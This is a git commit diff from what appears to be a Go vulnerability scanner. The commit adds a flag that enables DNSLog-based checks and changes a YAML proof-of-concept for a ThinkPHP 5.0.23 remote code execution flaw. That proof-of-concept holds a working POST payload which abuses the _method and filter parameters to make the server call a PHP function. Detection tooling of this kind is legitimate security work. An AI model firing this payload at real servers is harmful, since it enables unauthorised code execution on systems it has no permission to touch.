增加-dns参数启用dnslog poc

This commit is contained in:
影舞者
2022-08-16 11:18:09 +08:00
parent 9b0f12c31a
commit 98569648bb
7 changed files with 37 additions and 40 deletions
+3 -1
View File
@@ -82,7 +82,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
for _, item := range p.Set {
k, expression := item.Key, item.Value
if expression == "newReverse()" {
return false, nil, ""
if !common.DnsLog {
return false, nil, ""
}
variableMap[k] = newReverse()
continue
}
+2 -4
View File
@@ -1,6 +1,4 @@
name: poc-yaml-thinkphp5023-method-rce
set:
rand: randomLowercase(10)
groups:
poc1:
- method: POST
@@ -8,9 +6,9 @@ groups:
headers:
Content-Type: application/x-www-form-urlencoded
body: |
_method=__construct&filter[]=var_dump&method=GET&get[]={{rand}}
_method=__construct&filter[]=printf&method=GET&get[]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu
expression: |
response.body.bcontains(bytes(rand))
response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu")
poc2:
- method: POST
path: /index.php?s=captcha